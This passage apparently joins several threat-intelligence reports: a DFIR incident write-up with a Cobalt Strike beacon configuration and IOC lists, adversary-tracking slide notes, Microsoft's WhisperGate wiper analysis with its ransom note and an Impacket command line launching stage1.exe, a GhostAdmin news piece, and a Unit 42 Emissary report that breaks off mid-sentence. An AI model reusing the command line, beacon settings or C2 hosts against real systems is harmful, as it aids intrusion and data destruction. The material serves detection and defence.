"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "post_ex": { "spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "spawnto_x86": "%windir%\\syswow64\\rundll32.exe" }, "stage": { "cleanup": "false" }, "process_inject": { "stub": "IiuPJ9vfuo3dVZ7son6mSA==", "transform_x64": [], "transform_x86": [], "startrwx": "true", "min_alloc": "0", "userwx": "true", "execute": [ "CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread" ], "allocator": "VirtualAllocEx" }, "uses_cookies": "true", "http_post_chunk": "0", "ssh": { "privatekey": null, "username": null, "password": null, "port": null, "hostname": null }, "useragent_header": null, "maxgetsize": "1048576", "proxy": { "behavior": "Use IE settings", "password": null, "username": null, "type": null }, "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "server": { "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4", "port": "443", "hostname": "193.201.9.199" }, "beacontype": [ "HTTPS" ], "kill_date": null, "license_id": "1580103824", "jitter": "0", "sleeptime": "60000", "http_get": { "server": { "output": [ "print" ] }, "client": { "metadata": [], "headers": [] }, "verb": "GET", "uri": "/__utm.gif" }, "cfg_caution": "false", "host_header": "", "crypto_scheme": "0", "http_post": { "client": { "output": [], "id": [], "headers": [] }, "verb": "POST", "uri": "/submit.php" } } ``` Checking the certificate used reveals that it is a default SSL certificate for Cobalt Strike, 83cd09b0f73c909bfc14883163a649e1d207df22. ### Atera & SplashTop Even though the threat actor installed these agents, we did not observe any activity with these tools. ### Exfiltration Several HTTP Post events were observed to the identified domains denterdrigx[.]com, superliner[.]top, and 5.42.199[.]83, masquerading as image uploads. The user agent ‘Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)’, an unusual browser configuration to masquerade as, which indicates use of Internet Explorer 8.0 (that was released ~2009). The POST event included a MIME part indicating file upload activity. ### Impact The threat actor was able to RDP to a backup server using the admin credentials they acquired. Using the logs in Microsoft-Windows-TerminalServices-LocalSessionManager/Operational we were able to determine the threat actor spent approximately 10 minutes on the backup server before disconnecting their RDP session. By doing this, they revealed the workstation name of the client: WIN-RRRU9REOK18. ```plaintext LogName=Security EventCode=4624 EventType=0 ComputerName=<REDACTED> SourceName=Microsoft Windows security auditing. Type=Information RecordNumber=300297 Keywords=Audit Success TaskCategory=Logon OpCode=Info Message=An account was successfully logged on. Logon Information: Logon Type: 3 Restricted Admin Mode: - Virtual Account: No Elevated Token: Yes Network Information: Workstation Name: WIN-RRRU9REOK18 Source Network Address: <REDACTED> Source Port: 0 Detailed Authentication Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V2 ``` During that time, the threat actor undertook a number of hands-on keyboard actions; this included reviewing backups in a backup console, checking on running tasks, and using notepad to paste in the following content. ### Process execution: ```plaintext C:\Program Files\[redacted]\Console\[redacted].exe "C:\Windows\system32\taskmgr.exe" /4 "C:\Windows\system32\NOTEPAD.EXE" C:\Users\USER\Desktop\New Text Document.txt ``` ### Sysmon Copy Paste Collection EID 24: ```plaintext user: DOMAIN\USER ip: 127.0.0.1 hostname: WIN-RRRU9REOK18 ``` ## Indicators ### Atomic **RDP Client Name:** WIN-RRRU9REOK18 **Ursnif Domains:** - denterdrigx.com - superliner.top - internetlines.in - superstarts.top - superlinez.top - internetlined.com **Ursnif IPs:** - 62.173.149.7 - 31.41.44.97 - 5.42.199.83 - 31.41.44.27 - 208.91.197.91 - 187.190.48.135 - 210.92.250.133 - 189.143.170.233 - 201.103.222.246 - 151.251.24.5 - 190.147.189.122 - 115.88.24.202 - 211.40.39.251 - 187.195.146.2 - 186.182.55.44 - 222.232.238.243 - 211.119.84.111 - 51.211.212.188 - 203.91.116.53 - 115.88.24.203 - 190.117.75.91 - 181.197.121.228 - 190.167.61.79 - 109.102.255.230 - 211.119.84.112 - 190.107.133.19 - 185.95.186.58 - 175.120.254.9 - 46.194.108.30 - 190.225.159.63 - 190.140.74.43 - 187.156.56.52 - 195.158.3.162 - 138.36.3.134 - 109.98.58.98 - 24.232.210.245 - 222.236.49.123 - 175.126.109.15 - 124.109.61.160 - 95.107.163.44 - 93.152.141.65 - 5.204.145.65 - 116.121.62.237 - 31.166.129.162 - 222.236.49.124 - 211.171.233.129 - 211.171.233.126 - 211.53.230.67 - 196.200.111.5 - 190.219.54.242 - 190.167.100.154 - 110.14.121.125 - 58.235.189.192 - 37.34.248.24 - 110.14.121.123 - 179.53.93.16 - 175.119.10.231 - 211.59.14.90 - 188.48.64.249 - 187.232.150.225 - 186.7.85.71 - 148.255.20.4 - 91.139.196.113 - 41.41.255.235 - 31.167.236.174 - 189.165.2.131 - 1.248.122.240 - 193.106.191.186 **Cobalt Strike:** - 193.201.9.199 ### Computed - 123.com - d0432468fa4b7f66166c430e1334dbda - f72d978f4d1ca1c435b1164e7617464cc06a9381 - 7d99c80a1249a1ec9af0f3047c855778b06ea57e11943a271071985afe09e6c2 - 3488164.iso - f7d85c971e9604cc6d2a2ffcac1ee4a3 - 67175143196c17f10776bdf5fbf832e50a646824 - e999890ce5eb5b456563650145308ae837d940e38aec50d2f02670671d472b99 - 6570872.lnk - c6b605a120e0d3f3cbd146bdbc358834 - 328afa8338d60202d55191912eea6151f80956d3 - 16323b3e56a0cbbba742b8d0af8519f53a78c13f9b3473352fcce2d28660cb37 - adcomp.bat - eb2335e887875619b24b9c48396d4d48 - b658ab9ac2453cde5ca82be667040ac94bfcbe2e - 4aa4ee8efcf68441808d0055c26a24e5b8f32de89c6a7a0d9b742cce588213ed - alsoOne.bat - c03f5e2bc4f2307f6ee68675d2026c82 - 4ce65da98f0fd0fc4372b97b3e6f8fbeec32deb3 - 6a9b7c289d7338760dd38d42a9e61d155ae906c14e80a1fed2ec62a4327a4f71 - canWell.js - 6bb867e53c46aa55a3ae92e425c6df91 - 6d4f1a9658baccd2e406454b2ad40ca2353916ab - 5b51bd2518ad4b9353898ed329f1b2b60f72142f90cd7e37ee42579ee1b645be - firefox.exe - 6a4356bd2b70f7bd4a3a1f0e0bfec9a4 - 485a179756ff9586587f8728e173e7df83b1ffc3 - 6c5338d84c208b37a4ec5e13baf6e1906bd9669e18006530bf541e1d466ba819 - itsIt.db - 60375d64a9a496e220b6eb1b63e899b3 - d1b2dd93026b83672118940df78a41e2ee02be80 - 8e570e32acb99abfd0daf62cff13a09eb694ebfa633a365d224aefc6449f97de - or.jpg - 60ca7723edd4f3a0561ea9d3a42f82b4 - 87b699122dacf3235303a48c74fa2b7a75397c6b - bbcceb987c01024d596c28712e429571f5758f67ba12ccfcae197aadb8ab8051 - cook32.rar - 3db94cf953886aeb630f1ae616a2ec25 - 743128253f1df9e0b8ee296cfec17e5fc614f98d - 1cdbf7c8a45b753bb5c2ea1c9fb2e53377d07a3c84eb29a1b15cdc140837f654 - cook64.rar - d99cc31f3415a1337e57b8289ac5011e - f67ce90f66f6721c3eea30581334457d6da23aac - b94810947c33a0a0dcd79743a8db049b8e45e73ca25c9bfbf4bfed364715791b - stilak32.rar - a1f634f177f73f112b5356b8ee04ad19 - 7c82b558a691834caf978621f288af0449400e03 - c77ea4ad228ecad750fb7d4404adc06d7a28dbb6a5e0cf1448c694d692598f4f - stilak64.rar - 8ea6ad3b1acb9e7b2e64d08411af3c9a - 7c04c4567b77981d0d97d8c2eb4ebd1a24053f48 - dfdfd0a339fe03549b2475811b106866d035954e9bc002f20b0f69e0f986838f - vnc32.rar - 0c5862717f00f28473c39b9cba2953f4 - 25832c23319fcfe92cde3d443cc731ac056a964a - 7ebd70819a79be55d4c92c66e74e90e3309ec977934920aee22cd8d922808c9d - vnc64.rar - ce77f575cc4406b76c68475cb3693e14 - 80fdc4712ae450cfa41a37a24ce0129eff469fb7 - f02dc60872f5a9c2fcc9beb05294b57ad8a4a9cef0161ebe008 ``` ## Detections ### Network - Potential Impacket wmiexec.py activity - ET MALWARE Ursnif Variant CnC Beacon - ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F) - ET INFO HTTP Request to a *.top domain - ET DNS Query to a *.top domain - Likely Hostile - ET MALWARE Ursnif Variant CnC Data Exfil - ET INFO Dotted Quad Host RAR Request - ET MALWARE Meterpreter or Other Reverse Shell SSL Cert - ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike - ET POLICY RDP connection confirm - ET POLICY MS Remote Desktop Administrator Login Request - ET MALWARE Ursnif Variant CnC Beacon 3 - ET MALWARE Ursnif Payload Request (cook32.rar) - ET MALWARE Ursnif Payload Request (cook64.rar) - ET INFO Splashtop Domain (splashtop.com) in TLS SNI - ET INFO Splashtop Domain in DNS Lookup (splashtop.com) ### Sigma - [proc_creation_win_system_time_lookup.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml) - [proc_creation_win_ursnif_loader.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_ursnif_loader.yml) - [proc_creation_win_lolbin_not_from_c_drive.yml](https://github.com/SigmaHQ/sigma/blob/b5e783a6d5f2ea0a77f68fb646bfb1b2304e3996/rules/windows/process_creation/proc_creation_win_lolbin_not_from_c_drive.yml) - [proc_creation_win_susp_lolbin_non_c_drive.yml](https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml) - [proc_creation_win_wmic_computersystem_recon.yml](https://github.com/SigmaHQ/sigma/blob/a674ee246bd02271f5e46d00010320112c9df17c/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml) - [proc_creation_win_susp_systeminfo.yml](https://github.com/SigmaHQ/sigma/blob/017287804cae36c869f38a7f5671a7501e33178f/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml) - [pipe_created_mal_cobaltstrike.yml](https://github.com/SigmaHQ/sigma/blob/017287804cae36c869f38a7f5671a7501e33178f/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml) - [proc_access_win_susp_proc_access_lsass_susp_source.yml](https://github.com/SigmaHQ/sigma/blob/0db8a8b54d54b52c139f9f7d5c261400d228f54b/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml) - [file_event_win_wmiexec_default_filename.yml](https://github.com/SigmaHQ/sigma/blob/fac67328275e58413f299ed4f69219ff40803d70/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml) - [proc_creation_win_impacket_lateralization.yml](https://github.com/SigmaHQ/sigma/blob/62347bcc80159f1e868a44c80759e85326875b79/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml) - [win_software_splashtop.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcfa06320a3ad1ba2b9dedd4/win_software_splashtop.yml) - [win_network_splashtop.yml](https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcfa06320a3ad1ba2b9dedd4/win_network_splashtop.yml) - [posh_ps_get_adcomputer.yml](https://github.com/SigmaHQ/sigma/blob/7804decd2db84dd1d022801e782d84eca7ecff72/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml) - [proxy_ua_malware.yml](https://github.com/SigmaHQ/sigma/blob/9bf023ceba17aab3d2595c03a8e2345aa08bb976/rules/proxy/proxy_ua_malware.yml) ### Yara ### MITRE - Mshta - T1218.005 - Visual Basic - T1059.005 - Compile After Delivery - T1027.004 - BITS Jobs - T1197 - Credentials from Password Stores - T1555 - LSASS Memory - T1003.001 - System Information Discovery - T1082 - Process Discovery - T1057 - Domain Trust Discovery - T1482 - Mark-of-the-Web Bypass - T1553.005 - Malicious File - T1204.002 - System Time Discovery - T1124 - System Owner/User Discovery - T1033 - Remote System Discovery - T1018 - Remote Desktop Protocol - T1021.001 - Windows Management Instrumentation - T1047 - Domain Account - T1087.002 - Process Injection - T1055 - Asynchronous Procedure Call - T1055.004 - Registry Run Keys / Startup Folder - T1547.001 - Remote Access Software - T1219 - Web Protocols - T1071.001 - Lateral Tool Transfer - T1570 - Exfiltration Over C2 Channel - T1041 **Internal case #17386**
# PANDAS AND BEARS ## Incident Response and Security Breach Investigations Experience **Vice President, CrowdStrike Services** **Managing Director, Mandiant** **Special Agent, Air Force Office of Special Investigations** **Partner, IBM Security Services** [email protected] Conducting security assessment, incident response, insider threat analysis, and security architecture. Defended networks for the Defense Industrial Base. **Director of Remediation** [email protected] ### Comment Panda: - Commercial, Government, Non-profit - Energetic Bear: Oil and Gas - Deep Panda: Financial, Technology, Non-profit Companies - Foxy Panda: Technology & Communications - Anchor Panda: Government organizations, Defense & Aerospace, Industrial Engineering, NGOs - Impersonating Panda: Financial Sector - Karma Panda: Dissident groups - Silent Chollima: Government, Military - Keyhole Panda: Electronics & Communications - Poisonous Panda: Energy Technology, G20, NGOs, Dissident Groups - Magic Kitten: Dissidents - Cutting Kitten: Energy Companies - Putter Panda: Governmental & Military - Toxic Panda: Dissident Groups - Deadeye Jackal: Commercial, Financial, Media, Social Networking - Vixen Panda: Government - Ghost Jackal: Commercial, Energy, Financial - Viceroy Tiger: Government, Legal, Financial, Media, Telecom - Singing Spider: Commercial, Financial - Corsair Jackal: Commercial, Technology, Financial, Energy - Union Spider: Manufacturing - Andromeda Spider: Numerous - Extreme Jackal: Military, Government Track attackers and actively hunt for them in real-time. Search for indicators of attack. Remove affected machine from network immediately. Begin posturing for remediation on Day 1 of IR. Collect data from one machine at a time. Contain the adversary quickly. ### Long Long Ago | Not So Long Ago | Today - Automation! - Search for indicators of compromise. - Clean entire network before beginning to remediate. - Conduct forensics for months before containment of the adversary. ### MALWARE PROCESS FLOW **SIGNATURES VS ACTION VS MALWARE** - IOCs - EXPLOITS - LATERAL MOVEMENT - IOAs - VULNERABILITIES - IP ADDRESSES We need a shift in detection capabilities from indicators of compromise to indicators of attack. Forces attackers to change behaviors. Not all behaviors change - good intel and pattern analysis can identify the new TTPs. Analysts need the ability to tailor intel and extract relevance via tools and skillsets. Understanding your adversaries helps you gain focus and understand what intel is relevant. ### TTPs are now rapidly changing What are adversaries adjusting to? - Better intelligence - Hiding from forensics - Better analysts - Better technology How many adversaries are attacking you? ### BEAR PANDA Successful spear-phish in Jan 2015. Complete set of tools for lateral movement copied to network and executed. Attackers identified as “living off the land” and largely using tools readily available on the system. Forensic analysis identifies lateral movement and malware created BEFORE spear-phish. Toolset attributed to China; use went back several years, but recently inactive. **Toolset #1:** - Sloppy coding - Compile time and debug info intact - Chinese character set information present **Attribution:** Eloquent Panda **Toolset #2:** - Professional and sanitized code - Use of valid digital signatures - Attempts to frustrate reverse engineering **Attribution:** Cozy Bear ### Multiple Adversaries? - Multiple Locations - Franchise Expansion - Different POS Software and Vendors - Different Support Vendors - Different Concerns on Security ### Hunting and Responding - Understand the Environment - Do You Have Access to the Endpoint? (This is not a technical question) - Do You Have Tools to Respond? (This is a technical question) ### Plans to Purchase What adversaries would be interested? Understand the negotiation plans. ### Hunting and Responding Do you have access in multiple environments? - Law firm? - Other company? Targeted hunting on people key to the M&A and their assistants. ### Why Would You Care? - Understand who is targeting your intellectual property. - Plan to spend your security budget better. - Employ more effective containment and mitigation strategies. - What areas of the kill chain is the adversary targeting? - Where is the weakness? ### What Would Better Help You Identify? - Context of the incident (M&A, Franchises, Development Plans) - Malware tools used - Sequencing of commands - Known C2 channels ### Why? - Intellectual property leaving the building during the attack. - What makes you unique is quickly being taken. - Containment is not “Remediation.” ### How? - Visibility, Visibility, Visibility - Isolate in real time - New technologies allow for this - Look at the IOAs (Where in the attack cycle?) ### When? - As soon as possible - Before forensics is complete? YES. Are you crazy? No. ### THE TAKEAWAYS Not every adversary group is created equal. Groups have differing skills, resources, and capabilities. Do not fit data into your expectations – look for anomalies in your findings focusing on timing, behavior, and tradecraft. The likelihood of being targeted by multiple adversaries is high. In this example, remediation had to include both actors simultaneously! **All Adversaries:** - Privileged Account Control - Think outside of the box on ways to do this - Blacklisting known IOCs? What is the effort vs the reward? - Service Accounts: Can you reset them? Who has the source code? How long to fix it? Where is the adversary in the kill chain? The earlier in the kill chain, the more options at your disposal. - Visibility, Visibility, Visibility - If you can find them at: exploitation, installation, command and control, you can stop them quickly. - If you understand the pattern of the attack you have additional options: anticipate the next move, use the intel you collected.
# Destructive Malware Targeting Ukrainian Organizations Microsoft Threat Intelligence Center (MSTIC) has identified evidence of a destructive malware operation targeting multiple organizations in Ukraine. This malware first appeared on victim systems in Ukraine on January 13, 2022. Microsoft is aware of the ongoing geopolitical events in Ukraine and encourages organizations to use the information in this post to proactively protect from any malicious activity. While our investigation is continuing, MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware, which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom. At present and based on Microsoft visibility, our investigation teams have identified the malware on dozens of impacted systems, and that number could grow as our investigation continues. These systems span multiple government, non-profit, and information technology organizations, all based in Ukraine. We do not know the current stage of this attacker’s operational cycle or how many other victim organizations may exist in Ukraine or other geographic locations. However, it is unlikely these impacted systems represent the full scope of impact as other organizations are reporting. Given the scale of the observed intrusions, MSTIC is not able to assess the intent of the identified destructive actions but does believe these actions represent an elevated risk to any government agency, non-profit, or enterprise located or with systems in Ukraine. We strongly encourage all organizations to immediately conduct a thorough investigation and to implement defenses using the information provided in this post. MSTIC will update this blog as we have additional information to share. As with any observed nation-state actor activity, Microsoft directly and proactively notifies customers that have been targeted or compromised, providing them with the information they need to guide their investigations. MSTIC is also actively working with members of the global security community and other strategic partners to share information that can address this evolving threat through multiple channels. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor or merged with existing actors. ## Observed Actor Activity On January 13, Microsoft identified intrusion activity originating from Ukraine that appeared to be possible Master Boot Records (MBR) Wiper activity. During our investigation, we found a unique malware capability being used in intrusion attacks against multiple victim organizations in Ukraine. ### Stage 1: Overwrite Master Boot Record to Display a Faked Ransom Note The malware resides in various working directories, including C:\PerfLogs, C:\ProgramData, C:\, and C:\temp, and is often named stage1.exe. In the observed intrusions, the malware executes via Impacket, a publicly available capability often used by threat actors for lateral movement and execution. The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system. The ransom note contains a Bitcoin wallet and Tox ID (a unique account identifier used in the Tox encrypted messaging protocol) that have not been previously observed by MSTIC: ``` Your hard drive has been corrupted. In case you want to recover all hard drives of your organization, You should pay us $10k via bitcoin wallet 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65 with your organization name. We will contact you to give further instructions. ``` The malware executes when the associated device is powered down. Overwriting the MBR is atypical for cybercriminal ransomware. In reality, the ransomware note is a ruse, and the malware destructs the MBR and the contents of the files it targets. There are several reasons why this activity is inconsistent with cybercriminal ransomware activity observed by MSTIC, including: - Ransomware payloads are typically customized per victim. In this case, the same ransom payload was observed at multiple victims. - Virtually all ransomware encrypts the contents of files on the filesystem. The malware in this case overwrites the MBR with no mechanism for recovery. - Explicit payment amounts and cryptocurrency wallet addresses are rarely specified in modern criminal ransom notes, but were specified by DEV-0586. The same Bitcoin wallet address has been observed across all DEV-0586 intrusions, and at the time of analysis, the only activity was a small transfer on January 14. - It is rare for the communication method to be only a Tox ID, an identifier for use with the Tox encrypted messaging protocol. Typically, there are websites with support forums or multiple methods of contact (including email) to make it easy for the victim to successfully make contact. - Most criminal ransom notes include a custom ID that a victim is instructed to send in their communications to the attackers. This is an important part of the process where the custom ID maps on the backend of the ransomware operation to a victim-specific decryption key. The ransom note in this case does not include a custom ID. Microsoft will continue to monitor DEV-0586 activity and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below. ### Stage 2: File Corrupter Malware Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions: ``` .3DM .3DS .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD .BZ .BZ2 .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF .DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO .GZ .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX .KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP .ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3 .PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX .PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK .SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM .SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD .VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM .XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP ``` If a file carries one of the extensions above, the corrupter overwrites the contents of the file with a fixed number of 0xCC bytes (total file size of 1MB). After overwriting the contents, the destructor renames each file with a seemingly random four-byte extension. Analysis of this malware is ongoing. ## Recommended Customer Actions MSTIC and the Microsoft security teams are working to create and implement detections for this activity. To date, Microsoft has implemented protections to detect this malware family as WhisperGate (e.g., DoS:Win32/WhisperGate.A!dha) via Microsoft Defender Antivirus and Microsoft Defender for Endpoint, wherever these are deployed on-premises and cloud environments. We are continuing the investigation and will share significant updates with affected customers, as well as public and private sector partners, as we get more information. The techniques used by the actor and described in this post can be mitigated by adopting the security considerations provided below: - Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion. - Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single-factor authentication, to confirm authenticity and investigate any anomalous activity. - Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity. NOTE: Microsoft strongly encourages all customers to download and use password-less solutions like Microsoft Authenticator to secure accounts. - Enable Controlled Folder Access (CFA) in Microsoft Defender for Endpoint to prevent MBR/VBR modification. ## Indicators of Compromise (IOCs) The following list provides IOCs observed during our investigation. We encourage customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems. | Indicator | Type | Description | |-----------------------------------------------------------------------------------------------|--------|-----------------------------------------------------------------------------| | a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 | SHA-256| Hash of destructive malware stage1.exe | | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 | SHA-256| Hash of stage2.exe | | cmd.exe /Q /c start c:\stage1.exe 1> \\127.0.0.1\ADMIN$\__[TIMESTAMP] 2>&1 | Command| Example Impacket command line showing the execution of the destructive malware. The working directory has varied in observed intrusions. | NOTE: These indicators should not be considered exhaustive for this observed activity.
# New GhostAdmin Malware Used for Data Theft and Exfiltration **By Catalin Cimpanu** *January 17, 2017* Security researcher MalwareHunterTeam discovered a new malware family that can infect computers and allow crooks to take control of these PCs using commands sent via an IRC channel. Named GhostAdmin, this threat is part of the "botnet malware" category. According to current information, the malware is already distributed and deployed in live attacks, being used to possibly target at least two companies and steal hundreds of GBs of information. ## Crooks control GhostAdmin victims via IRC commands According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago. Under the hood, GhostAdmin is written in C# and is already at version 2.0. The malware works by infecting computers, gaining boot persistence, and establishing a communications channel with its command and control (C&C) server, which is an IRC channel. GhostAdmin's authors access this IRC channel and issue commands that will be picked up by all connected bots (infected computers). The malware can interact with the victim's filesystem, browse to specific URLs, download and execute new files, take screenshots, record audio, enable remote desktop connections, exfiltrate data, delete log files, interact with local databases, wipe browsing history, and more. A full list of available commands is available via the image below: ## GhostAdmin IRC commands The malware's features revolve around the ability to collect data from infected computers and silently send it to a remote server. GhostAdmin operates based on a configuration file. Among the settings stored in this file, there are FTP and email credentials. The FTP credentials are for the server where all the stolen information is uploaded, such as screenshots, audio recordings, keystrokes, and more. On the other hand, the email credentials are used to send an email to the GhostAdmin author every time a victim executes the malware, and also send error reports. ## GhostAdmin source code: Function to send an email when infecting new host MalwareHunterTeam says that the GhostAdmin version he analyzed was compiled by a user that used the nickname "Jarad." Like almost all malware authors before him, Jarad managed to infect his own computer. Using the FTP credentials found in the malware's configuration file, MalwareHunterTeam found screenshots of GhostAdmin creator's desktop on the FTP server. Furthermore, the researcher also found on the same server files that appeared to be stolen from GhostAdmin victims. The possible victims include a lottery company and an Internet cafe. Just from the Internet cafe, the crook has apparently collected 368GB of data alone. ## 368GB file downloaded from GhostAdmin FTP server From the lottery company, the GhostAdmin botmaster appears to have stolen a database holding information such as names, dates of births, phone numbers, emails, addresses, employer information, and more. ## Database found on the GhostAdmin FTP server At the time of writing, according to MalwareHunterTeam, the botnet's IRC channel includes only around ten bots, an approximate victims headcount. Compared to other botnet malware families such as Necurs or Andromeda, which have millions of bots, GhostAdmin is just making its first victims. Despite the currently low numbers, GhostAdmin can grow to those figures as well, if its author ever wanted to run a spam botnet like Necurs and Andromeda. In its current form, GhostAdmin and its botmaster seem to be focused on data theft and exfiltration. At the time of writing, GhostAdmin detection rate on VirusTotal was only 6 out of 55.
# Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve? By Robert Falcone and Jen Miller-Osborn February 3, 2016 Category: Malware, Threat Prevention, Unit 42 In December 2015, Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload. Emissary is related to the Elise Trojan and the Operation Lotus Blossom attack campaign, which prompted us to start collecting additional samples of Emissary. The oldest sample we found was created in 2009, indicating this tool has been in use for almost seven years. Of note, this is three years earlier than the oldest Elise sample we have found, suggesting this group has been active longer than previously documented. In addition, Emissary appears to only be used against Taiwanese or Hong Kong based targets, all of the decoys are written in Traditional Chinese, and they use themes related to the government or military. We also found several different versions of Emissary that had several iterative changes that show how the Trojan evolved over the years. One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015, resulting in many new versions of the Emissary Trojan. In addition, we observed a TTP shift post publication with regards to their malware delivery; they started using compromised but legitimate domains to serve their malware. Interestingly, the C2 infrastructure is also somewhat different than that used by Elise. ## Targeting In contrast to Elise, which was used in attacks against multiple Southeast Asian countries in region appropriate languages, all of the Emissary decoys we’ve collected are written in Traditional Chinese, which is used primarily in Taiwan and Hong Kong. The targets we have identified are also limited to those two regions. Despite appearing to target a more limited geographical range, Emissary targeted the government, higher education, and high tech companies with a mix of copy and pasted news articles and documents that do not appear to be available online. Decoys include: - An Excel spreadsheet containing legitimate contact information for much of the Taiwanese government that does not appear to be available online. - Copy and paste of a news article where the Deputy Commander of the Nanjing Military region, Wang Huanguang, responds negatively to a 2014 magazine article from a respected US Taiwan scholar saying the odds of China and Taiwan reuniting is low and discussing the issues with an attempted military takeover. - Copy of a news article from 2010 about the Chinese League of Victims protesting the involuntary removal of Shanghai residents in the lead up to the Shanghai Expo. - Copy of the official Taiwan holiday schedule for 2016, which is the 105th anniversary of the current Taiwanese government. ## Evolve to Survive: TTP Shifts and Infrastructure We’ve expanded our knowledge of Emissary infrastructure significantly since our first Emissary blog and we’ve found almost exclusive use of Dynamic DNS (DDNS) domains with only one purchased from a Chinese reseller. In contrast, the Elise samples used a mix of actor-registered and DDNS, with the actor-registered serving as one of the data points we used to tie all of the activity together. While the use of DDNS can make tying activity together more difficult, and despite the new Emissary variants since our publication, two of the most recent C2s resolved to IPs used by Elise C2s detailed in Operation Lotus Blossom. The Emissary samples typically have three hardcoded C2s that are a mix of IPs and domain names, with one of the domains or IPs not being used by the other three C2s in a likely effort to avoid loss of control. A full IOC list is included at the end of this report. Also new is the actors’ use of compromised legitimate Taiwanese websites to serve their malware, including the official website of the Democratic Progressive Party. This is particularly interesting as Taiwan just held a closely watched Presidential election on 16 January where DPP candidate Tsai Ing-wen won. This marked the first time a woman was elected President of Taiwan and only the second time a member of the Kuomintang did not hold the office since being ousted from China in 1949 when the Communist Party of China took power. In line with her party’s stance, she is widely seen as a proponent of an independent Taiwan and not in favor of reunification with the People’s Republic of China. ## Malware Updates Our evidence suggests that malware authors created Emissary as early as 2009, which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years. The Emissary Trojan is a capable tool to gain a foothold on a targeted system. While it lacks more advanced functionality 